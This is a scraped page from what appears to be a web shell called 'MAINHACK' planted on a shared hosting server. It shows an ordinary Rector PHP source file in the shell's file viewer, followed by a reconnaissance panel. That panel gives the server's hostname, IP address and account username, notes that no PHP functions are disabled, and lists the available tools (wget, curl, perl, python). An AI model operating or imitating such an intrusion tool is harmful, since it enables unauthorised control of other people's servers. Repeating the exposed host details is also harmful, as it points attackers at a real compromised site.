[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ClassRenamingPostRector.php
File is not writable. Editing disabled.
<?php declare (strict_types=1); namespace Rector\PostRector\Rector; use PhpParser\Node; use PhpParser\Node\Name; use PhpParser\Node\Name\FullyQualified; use PhpParser\Node\Stmt; use PhpParser\Node\Stmt\Namespace_; use PHPStan\Analyser\Scope; use Rector\CodingStyle\Application\UseImportsRemover; use Rector\Configuration\Option; use Rector\Configuration\Parameter\SimpleParameterProvider; use Rector\Configuration\RenamedClassesDataCollector; use Rector\NodeTypeResolver\Node\AttributeKey; use Rector\PhpParser\Node\CustomNode\FileWithoutNamespace; use Rector\Renaming\Collector\RenamedNameCollector; use Rector\Renaming\NodeManipulator\ClassRenamer; final class ClassRenamingPostRector extends \Rector\PostRector\Rector\AbstractPostRector { /** * @readonly * @var \Rector\Renaming\NodeManipulator\ClassRenamer */ private $classRenamer; /** * @readonly * @var \Rector\Configuration\RenamedClassesDataCollector */ private $renamedClassesDataCollector; /** * @readonly * @var \Rector\CodingStyle\Application\UseImportsRemover */ private $useImportsRemover; /** * @readonly * @var \Rector\Renaming\Collector\RenamedNameCollector */ private $renamedNameCollector; /** * @var \Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\Namespace_|null */ private $rootNode = null; /** * @var array<string, string> */ private $oldToNewClasses = []; public function __construct(ClassRenamer $classRenamer, RenamedClassesDataCollector $renamedClassesDataCollector, UseImportsRemover $useImportsRemover, RenamedNameCollector $renamedNameCollector) { $this->classRenamer = $classRenamer; $this->renamedClassesDataCollector = $renamedClassesDataCollector; $this->useImportsRemover = $useImportsRemover; $this->renamedNameCollector = $renamedNameCollector; } /** * @param Stmt[] $nodes * @return Stmt[] */ public function beforeTraverse(array $nodes) : array { // ensure reset early on every run to avoid reuse existing value $this->rootNode = $this->resolveRootNode($nodes); return $nodes; } public function enterNode(Node $node) : ?Node { // no longer need post rename if (!$node instanceof Name) { return null; } /** @var Scope|null $scope */ $scope = $node->getAttribute(AttributeKey::SCOPE); if ($node instanceof FullyQualified) { $result = $this->classRenamer->renameNode($node, $this->oldToNewClasses, $scope); } else { $result = $this->resolveResultWithPhpAttributeName($node, $scope); } if (!SimpleParameterProvider::provideBoolParameter(Option::AUTO_IMPORT_NAMES)) { return $result; } if (!$this->rootNode instanceof FileWithoutNamespace && !$this->rootNode instanceof Namespace_) { return $result; } $removedUses = $this->renamedClassesDataCollector->getOldClasses(); $this->rootNode->stmts = $this->useImportsRemover->removeImportsFromStmts($this->rootNode->stmts, $removedUses); return $result; } /** * @param Node[] $nodes * @return Stmt[] */ public function afterTraverse(array $nodes) : array { $this->renamedNameCollector->reset(); return $nodes; } public function shouldTraverse(array $stmts) : bool { $this->oldToNewClasses = $this->renamedClassesDataCollector->getOldToNewClasses(); return $this->oldToNewClasses !== []; } private function resolveResultWithPhpAttributeName(Name $name, ?Scope $scope) : ?FullyQualified { $phpAttributeName = $name->getAttribute(AttributeKey::PHP_ATTRIBUTE_NAME); if (\is_string($phpAttributeName)) { return $this->classRenamer->renameNode(new FullyQualified($phpAttributeName, $name->getAttributes()), $this->oldToNewClasses, $scope); } return null; } /** * @param Stmt[] $nodes * @return \Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\Namespace_|null */ private function resolveRootNode(array $nodes) { foreach ($nodes as $node) { if ($node instanceof FileWithoutNamespace || $node instanceof Namespace_) { return $node; } } return null; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: N/A